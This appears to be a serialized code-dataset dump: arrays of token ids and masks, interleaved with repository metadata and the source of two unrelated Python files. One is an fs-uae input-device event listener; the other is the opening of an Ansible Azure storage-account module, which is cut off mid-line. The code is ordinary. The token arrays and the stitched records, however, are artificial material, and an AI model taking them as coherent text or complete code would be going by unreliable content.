1085,
78,
492,
485,
906,
199,
504,
5913,
492,
2251,
199,
504,
5913,
492,
3778,
199,
199,
4947,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
15925,
63,
15304,
2563,
275,
788,
4466,
13,
15964,
297,
283,
15964,
418,
199,
199,
14204,
275,
5478,
14,
3435,
63,
2502,
1793,
360,
3357,
297,
283,
1000,
63,
2634,
358,
421,
199,
318,
485,
14204,
63,
1100,
8,
2103,
304,
272,
1067,
275,
2648,
14,
2314,
459,
6765,
14,
1100,
418,
272,
20210,
8,
1100,
9,
272,
372,
1067,
421,
199,
533,
7146,
2448,
7506,
8,
6508,
14,
7506,
304,
272,
408,
1918,
7146,
1572,
3261,
7614,
367,
314,
14260,
3261,
1041,
339,
347,
636,
826,
721,
277,
12,
1599,
63,
7755,
304,
267,
291,
14,
832,
63,
7755,
275,
1599,
63,
7755,
339,
347,
485,
908,
63,
1000,
63,
923,
8,
277,
12,
1067,
12,
1572,
304,
267,
327,
314,
1305,
901,
965,
2399,
574,
465,
314,
5377,
402,
314,
1654,
1572,
267,
327,
6006,
365,
949,
283,
2580,
7,
790,
315,
1654,
63,
923,
6775,
701,
13431,
14,
267,
327,
1010,
10234,
12,
13431,
1937,
14118,
465,
282,
2097,
3185,
13,
354,
937,
769,
27,
267,
327,
436,
2985,
1937,
7556,
465,
282,
2097,
1000,
13,
344,
937,
769,
14,
267,
1654,
63,
923,
275,
1052,
267,
1654,
63,
923,
459,
344,
418,
275,
1572,
14,
2580,
267,
1654,
63,
923,
459,
354,
418,
275,
1572,
14,
354,
267,
1654,
63,
923,
459,
11767,
418,
275,
1572,
14,
11767,
503,
942,
267,
327,
6944,
8,
24863,
706,
304,
961,
965,
2757,
19282,
370,
314,
922,
12,
1325,
7078,
1202,
14,
267,
327,
9336,
781,
883,
1133,
2813,
652,
12,
2951,
1852,
3238,
652,
1159,
3544,
2701,
14,
267,
1654,
63,
923,
459,
2343,
418,
275,
1052,
267,
7556,
275,
942,
267,
340,
1572,
14,
6334,
26,
288,
327,
12175,
314,
4454,
626,
787,
440,
5463,
14,
288,
4766,
275,
791,
2580,
356,
1572,
14,
6334,
12,
283,
6062,
356,
756,
93,
288,
4454,
275,
2251,
14,
3244,
1296,
14,
362,
63,
991,
63,
4273,
8,
355,
1067,
12,
4766,
29,
4273,
9,
288,
7556,
275,
359,
842,
14,
2580,
367,
1256,
315,
4454,
61,
267,
1654,
63,
923,
459,
6334,
418,
275,
7556,
267,
372,
1654,
63,
923,
339,
347,
485,
3502,
63,
11767,
8,
277,
12,
14118,
304,
267,
408,
12584,
314,
14118,
14,
398,
4821,
2335,
626,
2337,
787,
949,
18782,
807,
316,
14118,
12,
367,
2893,
267,
283,
4466,
13,
15964,
7,
436,
283,
15964,
7,
315,
314,
2011,
1572,
14,
267,
4821,
2335,
626,
314,
3247,
14118,
787,
3748,
14,
267,
520,
635,
14118,
26,
258,
314,
1627,
14118,
402,
314,
1654,
63,
923,
267,
408,
267,
340,
661,
4466,
13,
15964,
7,
315,
14118,
436,
288,
283,
15964,
7,
315,
14118,
304,
288,
1499,
275,
3824,
15919,
316,
14118,
7526,
9124,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
267,
440,
63,
4946,
275,
359,
3185,
367,
4592,
315,
14118,
586,
340,
4592,
440,
315,
32501,
63,
15304,
2563,
61,
267,
340,
440,
63,
4946,
26,
288,
1499,
275,
3824,
3364,
14118,
26,
450,
83,
531,
450,
1656,
1987,
904,
8,
1397,
63,
4946,
9,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
398,
327,
3390,
8,
87,
316,
87,
74,
304,
2779,
3181,
1133,
1852,
12249,
370,
3877,
9250,
14118,
14,
267,
340,
3355,
8,
409,
8,
11767,
430,
1137,
3355,
8,
11767,
304,
288,
1499,
275,
3824,
14773,
14118,
7526,
9124,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
339,
347,
485,
3502,
63,
1210,
63,
2030,
8,
277,
12,
2396,
12,
4642,
63,
354,
304,
267,
340,
440,
291,
14,
374,
63,
1078,
63,
2030,
8,
2030,
12,
4642,
63,
354,
304,
288,
1499,
275,
3824,
1589,
2396,
365,
3866,
2685,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
398,
1007,
2030,
275,
1211,
8,
2030,
59,
4502,
63,
354,
566,
398,
1420,
63,
955,
275,
788,
354,
297,
283,
11767,
418,
267,
367,
901,
315,
1420,
63,
955,
26,
288,
574,
275,
1007,
2030,
14,
1935,
8,
698,
12,
488,
9,
288,
340,
440,
574,
26,
355,
1499,
275,
3824,
5956,
83,
7,
365,
1902,
4124,
503,
2701,
2685,
450,
901,
355,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
288,
340,
901,
508,
283,
354,
356,
355,
3778,
14,
1074,
63,
875,
63,
1267,
8,
585,
12,
901,
12,
5101,
1748,
63,
1267,
29,
17,
12,
1390,
63,
1267,
29,
2299,
9,
355,
340,
440,
2725,
63,
1313,
14,
1078,
63,
354,
63,
3821,
63,
1113,
14,
1733,
8,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
glaubitz/fs-uae-debian
|
launcher/fsgs/input/eventlistener.py
|
2
|
3920
|
import time
from arcade.notification import Notification
from fsgs.input.device import Device
from fsgs.input.eventhelper import EventHelper
from fsgs.input.devicemanager import DeviceManager
CHECK_DELAY = 0.5
class EventListener:
def __init__(self):
self.helper = EventHelper()
self.helper.init()
self.device_names = {}
self.device_manager = DeviceManager(None)
self.remove_count = 0
self.restart_after_add_count = 0
self.reinit_time = 0.0
self.check_time = 0.0
self.check_list = None
def get_next_event(self):
# print(self.reinit_time - self.check_time)
if self.reinit_time > self.check_time:
delay = CHECK_DELAY
if self.check_time == 0.0:
# Force longer delay on startup to suppress false insert
# notifications on the initial set of devices.
delay = 2.5
if time.time() - self.reinit_time > delay:
self.check_for_device_changes()
event = self.helper.get_next_event()
if event is None:
return None
if self.helper.is_remove_event(event):
print("[INPUT] Remove event:", event)
# Restarting event helper so all devices are re-enumerated
self.remove_count += 1
self.reinit()
if self.helper.is_add_event(event):
if self.restart_after_add_count < self.remove_count:
# New device added after a device has been removed. Restarting
# device helper so device enumeration is consistent.
# Enumeration must be the same as emulators will do by
# themselves.
self.restart_after_add_count += 1
self.reinit()
return
count = self.device_names.get(event["name"], 0) + 1
self.device_names[event["name"]] = count
if count > 1:
event["id"] = "{0} #{1}".format(event["name"], count)
else:
event["id"] = event["name"]
# self.event_id = event["type"] + "-" + event["device"]
self.device_manager.add_device_from_event(event)
# self.notification((device.type, device.id))
# self.check_for_device_changes()
self.reinit_time = time.time()
return event
def reinit(self):
self.device_manager.remove_all_devices()
self.device_names = {}
self.helper = EventHelper()
self.helper.init()
self.reinit_time = time.time()
def check_for_device_changes(self):
print("[INPUT] Checking for device change notifications")
print(time.time(), self.reinit_time, self.check_time)
new_list = []
for device in self.device_manager.get_devices():
new_list.append((device.type, device.id))
old_list = self.check_list
if old_list is not None:
print("[INPUT] Old:", old_list)
print("[INPUT] New:", new_list)
old_set = set(old_list)
new_set = set(new_list)
for item in old_list:
if item not in new_set:
self.notification(item, "Removed")
for item in new_list:
if item not in old_set:
self.notification(item, "Added")
self.check_list = new_list
self.check_time = time.time()
def notification(self, item, action):
if item[0] == Device.TYPE_JOYSTICK:
text = "Joystick {}:\n{}".format(action, item[1])
elif item[0] == Device.TYPE_KEYBOARD:
text = "Keyboard {}:\n{}".format(action, item[1])
elif item[0] == Device.TYPE_MOUSE:
text = "Mouse {}:\n{}".format(action, item[1])
else:
text = "Device {}:\n{}".format(action, item[1])
Notification(text)
|
gpl-2.0
|
[
646,
900,
199,
199,
504,
601,
9490,
14,
6761,
492,
23362,
199,
504,
7449,
458,
14,
1210,
14,
1782,
492,
12272,
199,
504,
7449,
458,
14,
1210,
14,
12056,
273,
2096,
492,
6763,
4433,
199,
504,
7449,
458,
14,
1210,
14,
1782,
2609,
492,
12272,
2988,
199,
199,
8936,
63,
18616,
275,
378,
14,
21,
421,
199,
533,
6763,
10464,
26,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
3676,
275,
6763,
4433,
342,
267,
291,
14,
3676,
14,
826,
342,
267,
291,
14,
1782,
63,
1247,
275,
1052,
267,
291,
14,
1782,
63,
2609,
275,
12272,
2988,
8,
403,
9,
267,
291,
14,
2168,
63,
835,
275,
378,
267,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
275,
378,
267,
291,
14,
264,
826,
63,
521,
275,
378,
14,
16,
267,
291,
14,
1074,
63,
521,
275,
378,
14,
16,
267,
291,
14,
1074,
63,
513,
275,
488,
339,
347,
664,
63,
2184,
63,
1430,
8,
277,
304,
267,
327,
870,
8,
277,
14,
264,
826,
63,
521,
446,
291,
14,
1074,
63,
521,
9,
267,
340,
291,
14,
264,
826,
63,
521,
690,
291,
14,
1074,
63,
521,
26,
288,
7339,
275,
17654,
63,
18616,
288,
340,
291,
14,
1074,
63,
521,
508,
378,
14,
16,
26,
355,
327,
18771,
8088,
7339,
641,
14210,
370,
15678,
3055,
5518,
355,
327,
13116,
641,
314,
2536,
663,
402,
7256,
14,
355,
7339,
275,
499,
14,
21,
288,
340,
900,
14,
521,
342,
446,
291,
14,
264,
826,
63,
521,
690,
7339,
26,
355,
291,
14,
1074,
63,
509,
63,
1782,
63,
6627,
342,
398,
1566,
275,
291,
14,
3676,
14,
362,
63,
2184,
63,
1430,
342,
267,
340,
1566,
365,
488,
26,
288,
372,
488,
398,
340,
291,
14,
3676,
14,
374,
63,
2168,
63,
1430,
8,
1430,
304,
288,
870,
10994,
7321,
61,
5852,
1566,
6783,
1566,
9,
288,
327,
799,
15769,
1566,
5922,
880,
1006,
7256,
787,
295,
13,
18632,
12601,
288,
291,
14,
2168,
63,
835,
847,
413,
288,
291,
14,
264,
826,
342,
398,
340,
291,
14,
3676,
14,
374,
63,
525,
63,
1430,
8,
1430,
304,
288,
340,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
665,
291,
14,
2168,
63,
835,
26,
355,
327,
7053,
2243,
3483,
2410,
282,
2243,
965,
2757,
4829,
14,
799,
15769,
355,
327,
2243,
5922,
880,
2243,
28640,
365,
12137,
14,
355,
327,
3447,
8736,
1471,
506,
314,
2011,
465,
17423,
2750,
911,
886,
701,
355,
327,
17279,
14,
355,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
847,
413,
355,
291,
14,
264,
826,
342,
355,
372,
953,
2338,
275,
291,
14,
1782,
63,
1247,
14,
362,
8,
1430,
905,
354,
2255,
378,
9,
435,
413,
288,
291,
14,
1782,
63,
1247,
59,
1430,
905,
354,
15261,
275,
2338,
288,
340,
2338,
690,
413,
26,
355,
1566,
905,
344,
937,
275,
5310,
16,
93,
327,
91,
17,
5469,
908,
8,
1430,
905,
354,
2255,
2338,
9,
288,
587,
26,
355,
1566,
905,
344,
937,
275,
1566,
905,
354,
937,
288,
327,
291,
14,
1430,
63,
344,
275,
1566,
905,
466,
937,
435,
17155,
435,
1566,
905,
1782,
937,
288,
291,
14,
1782,
63,
2609,
14,
525,
63,
1782,
63,
504,
63,
1430,
8,
1430,
9,
288,
327,
291,
14,
6761,
1332,
1782,
14,
466,
12,
2243,
14,
344,
430,
288,
327,
291,
14,
1074,
63,
509,
63,
1782,
63,
6627,
342,
288,
291,
14,
264,
826,
63,
521,
275,
900,
14,
521,
342,
398,
372,
1566,
339,
347,
295,
826,
8,
277,
304,
267,
291,
14,
1782,
63,
2609,
14,
2168,
63,
452,
63,
6410,
342,
267,
291,
14,
1782,
63,
1247,
275,
1052,
267,
291,
14,
3676,
275,
6763,
4433,
342,
267,
291,
14,
3676,
14,
826,
342,
267,
291,
14,
264,
826,
63,
521,
275,
900,
14,
521,
342,
339,
347,
1104,
63,
509,
63,
1782,
63,
6627,
8,
277,
304,
267,
870,
10994,
7321,
61,
25109,
367,
2243,
1570,
13116,
531,
267,
870,
8,
521,
14,
521,
1062,
291,
14,
264,
826,
63,
521,
12,
291,
14,
1074,
63,
521,
9,
267,
892,
63,
513,
275,
942,
267,
367,
2243,
315,
291,
14,
1782,
63,
2609,
14,
362,
63,
6410,
837,
288,
892,
63,
513,
14,
740,
1332,
1782,
14,
466,
12,
2243,
14,
344,
430,
267,
2269,
63,
513,
275,
291,
14,
1074,
63,
513,
267,
340,
2269,
63,
513,
365,
440,
488,
26,
288,
870,
10994,
7321,
61,
21238,
6783,
2269,
63,
513,
9,
288,
870,
10994,
7321,
61,
7053,
6783,
892,
63,
513,
9,
288,
2269,
63,
409,
275,
663,
8,
1753,
63,
513,
9,
288,
892,
63,
409,
275,
663,
8,
1222,
63,
513,
9,
288,
367,
1242,
315,
2269,
63,
513,
26,
355,
340,
1242,
440,
315,
892,
63,
409,
26,
490,
291,
14,
6761,
8,
1053,
12,
298,
23407,
531,
288,
367,
1242,
315,
892,
63,
513,
26,
355,
340,
1242,
440,
315,
2269,
63,
409,
26,
490,
291,
14,
6761,
8,
1053,
12,
298,
20201,
531,
267,
291,
14,
1074,
63,
513,
275,
892,
63,
513,
267,
291,
14,
1074,
63,
521,
275,
900,
14,
521,
342,
339,
347,
6955,
8,
277,
12,
1242,
12,
1595,
304,
267,
340,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
15465,
57,
840,
13884,
26,
288,
1318,
275,
298,
5691,
89,
18043,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
916,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
3078,
23368,
26,
288,
1318,
275,
298,
28377,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
916,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
25571,
26,
288,
1318,
275,
298,
17141,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
587,
26,
288,
1318,
275,
298,
2510,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
23362,
8,
505,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
900,
199,
199,
504,
601,
9490,
14,
6761,
492,
23362,
199,
504,
7449,
458,
14,
1210,
14,
1782,
492,
12272,
199,
504,
7449,
458,
14,
1210,
14,
12056,
273,
2096,
492,
6763,
4433,
199,
504,
7449,
458,
14,
1210,
14,
1782,
2609,
492,
12272,
2988,
199,
199,
8936,
63,
18616,
275,
378,
14,
21,
421,
199,
533,
6763,
10464,
26,
272,
347,
636,
826,
721,
277,
304,
267,
291,
14,
3676,
275,
6763,
4433,
342,
267,
291,
14,
3676,
14,
826,
342,
267,
291,
14,
1782,
63,
1247,
275,
1052,
267,
291,
14,
1782,
63,
2609,
275,
12272,
2988,
8,
403,
9,
267,
291,
14,
2168,
63,
835,
275,
378,
267,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
275,
378,
267,
291,
14,
264,
826,
63,
521,
275,
378,
14,
16,
267,
291,
14,
1074,
63,
521,
275,
378,
14,
16,
267,
291,
14,
1074,
63,
513,
275,
488,
339,
347,
664,
63,
2184,
63,
1430,
8,
277,
304,
267,
327,
870,
8,
277,
14,
264,
826,
63,
521,
446,
291,
14,
1074,
63,
521,
9,
267,
340,
291,
14,
264,
826,
63,
521,
690,
291,
14,
1074,
63,
521,
26,
288,
7339,
275,
17654,
63,
18616,
288,
340,
291,
14,
1074,
63,
521,
508,
378,
14,
16,
26,
355,
327,
18771,
8088,
7339,
641,
14210,
370,
15678,
3055,
5518,
355,
327,
13116,
641,
314,
2536,
663,
402,
7256,
14,
355,
7339,
275,
499,
14,
21,
288,
340,
900,
14,
521,
342,
446,
291,
14,
264,
826,
63,
521,
690,
7339,
26,
355,
291,
14,
1074,
63,
509,
63,
1782,
63,
6627,
342,
398,
1566,
275,
291,
14,
3676,
14,
362,
63,
2184,
63,
1430,
342,
267,
340,
1566,
365,
488,
26,
288,
372,
488,
398,
340,
291,
14,
3676,
14,
374,
63,
2168,
63,
1430,
8,
1430,
304,
288,
870,
10994,
7321,
61,
5852,
1566,
6783,
1566,
9,
288,
327,
799,
15769,
1566,
5922,
880,
1006,
7256,
787,
295,
13,
18632,
12601,
288,
291,
14,
2168,
63,
835,
847,
413,
288,
291,
14,
264,
826,
342,
398,
340,
291,
14,
3676,
14,
374,
63,
525,
63,
1430,
8,
1430,
304,
288,
340,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
665,
291,
14,
2168,
63,
835,
26,
355,
327,
7053,
2243,
3483,
2410,
282,
2243,
965,
2757,
4829,
14,
799,
15769,
355,
327,
2243,
5922,
880,
2243,
28640,
365,
12137,
14,
355,
327,
3447,
8736,
1471,
506,
314,
2011,
465,
17423,
2750,
911,
886,
701,
355,
327,
17279,
14,
355,
291,
14,
10506,
63,
4399,
63,
525,
63,
835,
847,
413,
355,
291,
14,
264,
826,
342,
355,
372,
953,
2338,
275,
291,
14,
1782,
63,
1247,
14,
362,
8,
1430,
905,
354,
2255,
378,
9,
435,
413,
288,
291,
14,
1782,
63,
1247,
59,
1430,
905,
354,
15261,
275,
2338,
288,
340,
2338,
690,
413,
26,
355,
1566,
905,
344,
937,
275,
5310,
16,
93,
327,
91,
17,
5469,
908,
8,
1430,
905,
354,
2255,
2338,
9,
288,
587,
26,
355,
1566,
905,
344,
937,
275,
1566,
905,
354,
937,
288,
327,
291,
14,
1430,
63,
344,
275,
1566,
905,
466,
937,
435,
17155,
435,
1566,
905,
1782,
937,
288,
291,
14,
1782,
63,
2609,
14,
525,
63,
1782,
63,
504,
63,
1430,
8,
1430,
9,
288,
327,
291,
14,
6761,
1332,
1782,
14,
466,
12,
2243,
14,
344,
430,
288,
327,
291,
14,
1074,
63,
509,
63,
1782,
63,
6627,
342,
288,
291,
14,
264,
826,
63,
521,
275,
900,
14,
521,
342,
398,
372,
1566,
339,
347,
295,
826,
8,
277,
304,
267,
291,
14,
1782,
63,
2609,
14,
2168,
63,
452,
63,
6410,
342,
267,
291,
14,
1782,
63,
1247,
275,
1052,
267,
291,
14,
3676,
275,
6763,
4433,
342,
267,
291,
14,
3676,
14,
826,
342,
267,
291,
14,
264,
826,
63,
521,
275,
900,
14,
521,
342,
339,
347,
1104,
63,
509,
63,
1782,
63,
6627,
8,
277,
304,
267,
870,
10994,
7321,
61,
25109,
367,
2243,
1570,
13116,
531,
267,
870,
8,
521,
14,
521,
1062,
291,
14,
264,
826,
63,
521,
12,
291,
14,
1074,
63,
521,
9,
267,
892,
63,
513,
275,
942,
267,
367,
2243,
315,
291,
14,
1782,
63,
2609,
14,
362,
63,
6410,
837,
288,
892,
63,
513,
14,
740,
1332,
1782,
14,
466,
12,
2243,
14,
344,
430,
267,
2269,
63,
513,
275,
291,
14,
1074,
63,
513,
267,
340,
2269,
63,
513,
365,
440,
488,
26,
288,
870,
10994,
7321,
61,
21238,
6783,
2269,
63,
513,
9,
288,
870,
10994,
7321,
61,
7053,
6783,
892,
63,
513,
9,
288,
2269,
63,
409,
275,
663,
8,
1753,
63,
513,
9,
288,
892,
63,
409,
275,
663,
8,
1222,
63,
513,
9,
288,
367,
1242,
315,
2269,
63,
513,
26,
355,
340,
1242,
440,
315,
892,
63,
409,
26,
490,
291,
14,
6761,
8,
1053,
12,
298,
23407,
531,
288,
367,
1242,
315,
892,
63,
513,
26,
355,
340,
1242,
440,
315,
2269,
63,
409,
26,
490,
291,
14,
6761,
8,
1053,
12,
298,
20201,
531,
267,
291,
14,
1074,
63,
513,
275,
892,
63,
513,
267,
291,
14,
1074,
63,
521,
275,
900,
14,
521,
342,
339,
347,
6955,
8,
277,
12,
1242,
12,
1595,
304,
267,
340,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
15465,
57,
840,
13884,
26,
288,
1318,
275,
298,
5691,
89,
18043,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
916,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
3078,
23368,
26,
288,
1318,
275,
298,
28377,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
916,
1242,
59,
16,
61,
508,
12272,
14,
2711,
63,
25571,
26,
288,
1318,
275,
298,
17141,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
587,
26,
288,
1318,
275,
298,
2510,
1052,
3427,
78,
13536,
908,
8,
1287,
12,
1242,
59,
17,
566,
267,
23362,
8,
505,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
willthames/ansible
|
lib/ansible/modules/cloud/azure/azure_rm_storageaccount.py
|
8
|
17442
|
#!/usr/bin/python
#
# Copyright (c) 2016 Matt Davis, <mdavis@ansible.com>
# Chris Houseknecht, <house@redhat.com>
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.0',
'status': ['preview'],
'supported_by': 'curated'}
DOCUMENTATION = '''
---
module: azure_rm_storageaccount
version_added: "2.1"
short_description: Manage Azure storage accounts.
description:
- Create, update or delete a storage account.
options:
resource_group:
description:
- Name of the resource group to use.
required: true
name:
description:
- Name of the storage account to update or create.
required: false
default: null
state:
description:
- Assert the state of the storage account. Use 'present' to create or update a storage account and
'absent' to delete an account.
default: present
required: false
choices:
- absent
- present
location:
description:
- Valid azure location. Defaults to location of the resource group.
required: false
default: resource_group location
account_type:
description:
- "Type of storage account. Required when creating a storage account. NOTE: Standard_ZRS and Premium_LRS
accounts cannot be changed to other account types, and other account types cannot be changed to
Standard_ZRS or Premium_LRS."
required: false
default: null
choices:
- Premium_LRS
- Standard_GRS
- Standard_LRS
- Standard_RAGRS
- Standard_ZRS
aliases:
- type
custom_domain:
description:
- User domain assigned to the storage account. Must be a dictionary with 'name' and 'use_sub_domain'
keys where 'name' is the CNAME source. Only one custom domain is supported per storage account at this
time. To clear the existing custom domain, use an empty string for the custom domain name property.
- Can be added to an existing storage account. Will be ignored during storage account creation.
required: false
default: null
kind:
description:
- The 'kind' of storage.
required: false
default: 'Storage'
choices:
- Storage
- StorageBlob
version_added: "2.2"
extends_documentation_fragment:
- azure
- azure_tags
author:
- "Chris Houseknecht (@chouseknecht)"
- "Matt Davis (@nitzmahone)"
'''
EXAMPLES = '''
- name: remove account, if it exists
azure_rm_storageaccount:
resource_group: Testing
name: clh0002
state: absent
- name: create an account
azure_rm_storageaccount:
resource_group: Testing
name: clh0002
type: Standard_RAGRS
tags:
- testing: testing
- delete: on-exit
'''
RETURN = '''
state:
description: Current state of the storage account.
returned: always
type: dict
sample: {
"account_type": "Standard_RAGRS",
"custom_domain": null,
"id": "/subscriptions/XXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXX/resourceGroups/testing/providers/Microsoft.Storage/storageAccounts/clh0003",
"location": "eastus2",
"name": "clh0003",
"primary_endpoints": {
"blob": "https://clh0003.blob.core.windows.net/",
"queue": "https://clh0003.queue.core.windows.net/",
"table": "https://clh0003.table.core.windows.net/"
},
"primary_location": "eastus2",
"provisioning_state": "Succeeded",
"resource_group": "Testing",
"secondary_endpoints": {
"blob": "https://clh0003-secondary.blob.core.windows.net/",
"queue": "https://clh0003-secondary.queue.core.windows.net/",
"table": "https://clh0003-secondary.table.core.windows.net/"
},
"secondary_location": "centralus",
"status_of_primary": "Available",
"status_of_secondary": "Available",
"tags": null,
"type": "Microsoft.Storage/storageAccounts"
}
'''
try:
from msrestazure.azure_exceptions import CloudError
from azure.storage.cloudstorageaccount import CloudStorageAccount
from azure.common import AzureMissingResourceHttpError, AzureHttpError
from azure.mgmt.storage.models.storage_management_client_enums import ProvisioningState, SkuName, SkuTier, Kind
from azure.mgmt.storage.models import StorageAccountUpdateParameters, CustomDomain, \
StorageAccountCreateParameters, Sku
except ImportError:
# This is handled in azure_rm_common
pass
from ansible.module_utils.azure_rm_common import AZURE_SUCCESS_STATE, AzureRMModuleBase
class AzureRMStorageAccount(AzureRMModuleBase):
def __init__(self):
self.module_arg_spec = dict(
account_type=dict(type='str', choices=[], aliases=['type']),
custom_domain=dict(type='dict'),
location=dict(type='str'),
name=dict(type='str', required=True),
resource_group=dict(required=True, type='str'),
state=dict(default='present', choices=['present', 'absent']),
force=dict(type='bool', default=False),
tags=dict(type='dict'),
kind=dict(type='str', default='Storage', choices=['Storage', 'BlobStorage'])
)
for key in SkuName:
self.module_arg_spec['account_type']['choices'].append(getattr(key, 'value'))
self.results = dict(
changed=False,
state=dict()
)
self.account_dict = None
self.resource_group = None
self.name = None
self.state = None
self.location = None
self.account_type = None
self.custom_domain = None
self.tags = None
self.force = None
self.kind = None
super(AzureRMStorageAccount, self).__init__(self.module_arg_spec,
supports_check_mode=True)
def exec_module(self, **kwargs):
for key in list(self.module_arg_spec.keys()) + ['tags']:
setattr(self, key, kwargs[key])
resource_group = self.get_resource_group(self.resource_group)
if not self.location:
# Set default location
self.location = resource_group.location
if len(self.name) < 3 or len(self.name) > 24:
